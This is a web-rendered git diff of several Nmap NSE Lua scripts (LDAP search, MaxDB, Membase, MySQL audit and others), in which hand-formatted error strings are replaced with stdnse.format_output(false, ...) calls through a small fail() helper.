|
return stdnse.format_output(true, output)
|
||||||
else
|
else
|
||||||
return "\n ERROR: No password was found"
|
return fail("No password was found")
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -115,6 +115,7 @@ dependencies = {"ldap-brute"}
|
|||||||
|
|
||||||
portrule = shortport.port_or_service({389,636}, {"ldap","ldapssl"})
|
portrule = shortport.port_or_service({389,636}, {"ldap","ldapssl"})
|
||||||
|
|
||||||
|
local function fail (err) return stdnse.format_output(false, err) end
|
||||||
function action(host,port)
|
function action(host,port)
|
||||||
|
|
||||||
local status
|
local status
|
||||||
@@ -189,7 +190,7 @@ function action(host,port)
|
|||||||
|
|
||||||
if not status then
|
if not status then
|
||||||
stdnse.debug1("ldap-search failed to bind: %s", errmsg)
|
stdnse.debug1("ldap-search failed to bind: %s", errmsg)
|
||||||
return " \n ERROR: Authentication failed"
|
return fail("Authentication failed")
|
||||||
end
|
end
|
||||||
-- or if ldap-brute found us something
|
-- or if ldap-brute found us something
|
||||||
elseif ( accounts ) then
|
elseif ( accounts ) then
|
||||||
@@ -219,7 +220,7 @@ function action(host,port)
|
|||||||
|
|
||||||
elseif qfilter == "custom" then
|
elseif qfilter == "custom" then
|
||||||
if searchAttrib == nil or searchValue == nil then
|
if searchAttrib == nil or searchValue == nil then
|
||||||
return "\n\nERROR: Please specify both ldap.searchAttrib and ldap.searchValue using using the custom qfilter."
|
return fail("Please specify both ldap.searchAttrib and ldap.searchValue using using the custom qfilter.")
|
||||||
end
|
end
|
||||||
if string.find(searchValue, '*') == nil then
|
if string.find(searchValue, '*') == nil then
|
||||||
filter = { op=ldap.FILTER.equalityMatch, obj=searchAttrib, val=searchValue }
|
filter = { op=ldap.FILTER.equalityMatch, obj=searchAttrib, val=searchValue }
|
||||||
@@ -230,7 +231,7 @@ function action(host,port)
|
|||||||
elseif qfilter == "all" or qfilter == nil then
|
elseif qfilter == "all" or qfilter == nil then
|
||||||
filter = nil -- { op=ldap.FILTER}
|
filter = nil -- { op=ldap.FILTER}
|
||||||
else
|
else
|
||||||
return " \n\nERROR: Unsupported Quick Filter: " .. qfilter
|
return fail("Unsupported Quick Filter: " .. qfilter)
|
||||||
end
|
end
|
||||||
|
|
||||||
if type(attribs) == 'string' then
|
if type(attribs) == 'string' then
|
||||||
@@ -252,7 +253,7 @@ function action(host,port)
|
|||||||
|
|
||||||
if not status then
|
if not status then
|
||||||
if ( searchResEntries:match("DSID[-]0C090627") and not(username) ) then
|
if ( searchResEntries:match("DSID[-]0C090627") and not(username) ) then
|
||||||
return "ERROR: Failed to bind as the anonymous user"
|
return fail("Failed to bind as the anonymous user")
|
||||||
else
|
else
|
||||||
stdnse.debug1("ldap.searchRequest returned: %s", searchResEntries)
|
stdnse.debug1("ldap.searchRequest returned: %s", searchResEntries)
|
||||||
return
|
return
|
||||||
|
|||||||
@@ -184,7 +184,7 @@ action = function()
|
|||||||
interface = getInterface(mcast)
|
interface = getInterface(mcast)
|
||||||
end
|
end
|
||||||
if not interface then
|
if not interface then
|
||||||
return ("\n ERROR: Couldn't get interface for %s"):format(mcast)
|
return stdnse.format_output(false, ("Couldn't get interface for %s"):format(mcast))
|
||||||
end
|
end
|
||||||
|
|
||||||
-- Launch listener thread
|
-- Launch listener thread
|
||||||
|
|||||||
@@ -126,6 +126,8 @@ local function parseDatabases(data)
|
|||||||
return tab.dump(result)
|
return tab.dump(result)
|
||||||
end
|
end
|
||||||
|
|
||||||
|
local function fail (err) return stdnse.format_output(false, err) end
|
||||||
|
|
||||||
action = function(host, port)
|
action = function(host, port)
|
||||||
-- this could really be more elegant, but it has to do for now
|
-- this could really be more elegant, but it has to do for now
|
||||||
local handshake = "5a000000035b000001000000ffffffff000004005a000000000242000409000000400000d03f00000040000070000000000500000004000000020000000300000749343231360004501c2a035201037201097064626d73727600"
|
local handshake = "5a000000035b000001000000ffffffff000004005a000000000242000409000000400000d03f00000040000070000000000500000004000000020000000300000749343231360004501c2a035201037201097064626d73727600"
|
||||||
@@ -139,17 +141,17 @@ action = function(host, port)
|
|||||||
|
|
||||||
status, data = exchPacket(socket, bin.pack("H", handshake))
|
status, data = exchPacket(socket, bin.pack("H", handshake))
|
||||||
if ( not(status) ) then
|
if ( not(status) ) then
|
||||||
return "\n ERROR: Failed to perform handshake with MaxDB server"
|
return fail("Failed to perform handshake with MaxDB server")
|
||||||
end
|
end
|
||||||
|
|
||||||
status, data = exchPacket(socket, bin.pack("H", dbm_version))
|
status, data = exchPacket(socket, bin.pack("H", dbm_version))
|
||||||
if ( not(status) ) then
|
if ( not(status) ) then
|
||||||
return "\n ERROR: Failed to request version information from server"
|
return fail("Failed to request version information from server")
|
||||||
end
|
end
|
||||||
|
|
||||||
local version_info = parseVersion(data)
|
local version_info = parseVersion(data)
|
||||||
if ( not(version_info) ) then
|
if ( not(version_info) ) then
|
||||||
return "\n ERROR: Failed to parse version information from server"
|
return fail("Failed to parse version information from server")
|
||||||
end
|
end
|
||||||
|
|
||||||
local result, filter = {}, {"Version", "Build", "OS", "Instroot", "Sysname"}
|
local result, filter = {}, {"Version", "Build", "OS", "Instroot", "Sysname"}
|
||||||
@@ -160,7 +162,7 @@ action = function(host, port)
|
|||||||
status, data = exchCommand(socket, bin.pack("H", db_enum))
|
status, data = exchCommand(socket, bin.pack("H", db_enum))
|
||||||
socket:close()
|
socket:close()
|
||||||
if ( not(status) ) then
|
if ( not(status) ) then
|
||||||
return "\n ERROR: Failed to request version information from server"
|
return fail("Failed to request version information from server")
|
||||||
end
|
end
|
||||||
local dbs = parseDatabases(data)
|
local dbs = parseDatabases(data)
|
||||||
table.insert(result, { name = "Databases", dbs } )
|
table.insert(result, { name = "Databases", dbs } )
|
||||||
|
|||||||
@@ -68,7 +68,7 @@ Driver = {
|
|||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
local function fail(err) return ("\n ERROR: %s"):format(err) end
|
local function fail(err) return stdnse.format_output(false, err) end
|
||||||
|
|
||||||
local function getMechs(host, port)
|
local function getMechs(host, port)
|
||||||
local helper = membase.Helper:new(host, port)
|
local helper = membase.Helper:new(host, port)
|
||||||
|
|||||||
@@ -42,7 +42,7 @@ categories = {"discovery", "safe"}
|
|||||||
|
|
||||||
portrule = shortport.port_or_service(8091, "http", "tcp")
|
portrule = shortport.port_or_service(8091, "http", "tcp")
|
||||||
|
|
||||||
local function fail(err) return ("\n ERROR: %s"):format(err) end
|
local function fail(err) return stdnse.format_output(false, err) end
|
||||||
|
|
||||||
local filter = {
|
local filter = {
|
||||||
["parsed[1]['nodes'][1]['os']"] = { name = "OS" },
|
["parsed[1]['nodes'][1]['os']"] = { name = "OS" },
|
||||||
|
|||||||
@@ -60,7 +60,7 @@ local order = {
|
|||||||
"auth_enabled_sasl"
|
"auth_enabled_sasl"
|
||||||
}
|
}
|
||||||
|
|
||||||
local function fail(err) return ("\n ERROR: %s"):format(err) end
|
local function fail(err) return stdnse.format_output(false, err) end
|
||||||
|
|
||||||
local function mergetab(tab1, tab2)
|
local function mergetab(tab1, tab2)
|
||||||
for k, v in pairs(tab2) do
|
for k, v in pairs(tab2) do
|
||||||
|
|||||||
@@ -87,7 +87,7 @@ action = function(host, port)
|
|||||||
local xmlreq='<?xml version="1.0" ?><methodCall><methodName>core.version</methodName></methodCall>\n\0'
|
local xmlreq='<?xml version="1.0" ?><methodCall><methodName>core.version</methodName></methodCall>\n\0'
|
||||||
local socket, _, opts = comm.tryssl(host, port, xmlreq, { recv_first = false } )
|
local socket, _, opts = comm.tryssl(host, port, xmlreq, { recv_first = false } )
|
||||||
if ( not(socket) ) then
|
if ( not(socket) ) then
|
||||||
return "\n ERROR: Failed to determine whether SSL was needed or not"
|
return stdnse.format_output(false, "Failed to determine whether SSL was needed or not")
|
||||||
end
|
end
|
||||||
|
|
||||||
local engine = brute.Engine:new(Driver, host, port, opts)
|
local engine = brute.Engine:new(Driver, host, port, opts)
|
||||||
|
|||||||
@@ -133,7 +133,7 @@ local function executeCmd(socket, app, keys)
|
|||||||
return true
|
return true
|
||||||
end
|
end
|
||||||
|
|
||||||
local function fail(err) return ("\n ERROR: %s"):format(err or "") end
|
local function fail(err) return stdnse.format_output(false, err) end
|
||||||
|
|
||||||
action = function(host, port)
|
action = function(host, port)
|
||||||
|
|
||||||
|
|||||||
@@ -251,7 +251,7 @@ action = function()
|
|||||||
interface = getInterface(target)
|
interface = getInterface(target)
|
||||||
end
|
end
|
||||||
if not interface then
|
if not interface then
|
||||||
return ("\n ERROR: Couldn't get interface for %s"):format(target)
|
return stdnse.format_output(false, ("Couldn't get interface for %s"):format(target))
|
||||||
end
|
end
|
||||||
|
|
||||||
stdnse.debug1("will send to %s via %s interface.", target, interface.shortname)
|
stdnse.debug1("will send to %s via %s interface.", target, interface.shortname)
|
||||||
|
|||||||
@@ -344,7 +344,7 @@ action = function()
|
|||||||
interface = getInterface(firsthop)
|
interface = getInterface(firsthop)
|
||||||
end
|
end
|
||||||
if not interface then
|
if not interface then
|
||||||
return ("\n ERROR: Couldn't get interface for %s"):format(firsthop)
|
return stdnse.format_output(false, ("Couldn't get interface for %s"):format(firsthop))
|
||||||
end
|
end
|
||||||
|
|
||||||
-- Destination defaults to our own host
|
-- Destination defaults to our own host
|
||||||
|
|||||||
@@ -93,6 +93,8 @@ categories = {"discovery", "safe"}
|
|||||||
portrule = shortport.port_or_service(3306, "mysql")
|
portrule = shortport.port_or_service(3306, "mysql")
|
||||||
local TEMPLATE_NAME, ADMIN_ACCOUNTS = "", ""
|
local TEMPLATE_NAME, ADMIN_ACCOUNTS = "", ""
|
||||||
|
|
||||||
|
local function fail (err) return stdnse.format_output(false, err) end
|
||||||
|
|
||||||
local function loadAuditRulebase( filename )
|
local function loadAuditRulebase( filename )
|
||||||
local rules = {}
|
local rules = {}
|
||||||
|
|
||||||
@@ -103,7 +105,7 @@ local function loadAuditRulebase( filename )
|
|||||||
local file, err = loadfile(filename, "t", env)
|
local file, err = loadfile(filename, "t", env)
|
||||||
|
|
||||||
if ( not(file) ) then
|
if ( not(file) ) then
|
||||||
return false, ("ERROR: Failed to load rulebase:\n%s"):format(err)
|
return false, fail(("Failed to load rulebase:\n%s"):format(err))
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
@@ -120,11 +122,11 @@ action = function( host, port )
|
|||||||
local filename = stdnse.get_script_args("mysql-audit.filename")
|
local filename = stdnse.get_script_args("mysql-audit.filename")
|
||||||
|
|
||||||
if ( not(filename) ) then
|
if ( not(filename) ) then
|
||||||
return "\n No audit rulebase file was supplied (see mysql-audit.filename)"
|
return fail("No audit rulebase file was supplied (see mysql-audit.filename)")
|
||||||
end
|
end
|
||||||
|
|
||||||
if ( not(username) ) then
|
if ( not(username) ) then
|
||||||
return "\n No username was supplied (see mysql-audit.username)"
|
return fail("No username was supplied (see mysql-audit.username)")
|
||||||
end
|
end
|
||||||
|
|
||||||
local status, tests = loadAuditRulebase( filename )
|
local status, tests = loadAuditRulebase( filename )
|
||||||
@@ -139,7 +141,7 @@ action = function( host, port )
|
|||||||
|
|
||||||
status, response = mysql.loginRequest( socket, { authversion = "post41", charset = response.charset }, username, password, response.salt )
|
status, response = mysql.loginRequest( socket, { authversion = "post41", charset = response.charset }, username, password, response.salt )
|
||||||
|
|
||||||
if ( not(status) ) then return "ERROR: Failed to authenticate" end
|
if ( not(status) ) then return fail("Failed to authenticate") end
|
||||||
local results = {}
|
local results = {}
|
||||||
|
|
||||||
for _, test in ipairs(tests) do
|
for _, test in ipairs(tests) do
|
||||||
|
|||||||
@@ -40,7 +40,7 @@ portrule = shortport.port_or_service(3306, "mysql")
|
|||||||
local arg_username = stdnse.get_script_args(SCRIPT_NAME .. ".username")
|
local arg_username = stdnse.get_script_args(SCRIPT_NAME .. ".username")
|
||||||
local arg_password = stdnse.get_script_args(SCRIPT_NAME .. ".password") or ""
|
local arg_password = stdnse.get_script_args(SCRIPT_NAME .. ".password") or ""
|
||||||
|
|
||||||
local function fail(err) return ("\n ERROR: %s"):format(err or "") end
|
local function fail(err) return stdnse.format_output(false, err) end
|
||||||
|
|
||||||
local function getCredentials()
|
local function getCredentials()
|
||||||
-- first, let's see if the script has any credentials as arguments?
|
-- first, let's see if the script has any credentials as arguments?
|
||||||
|
|||||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user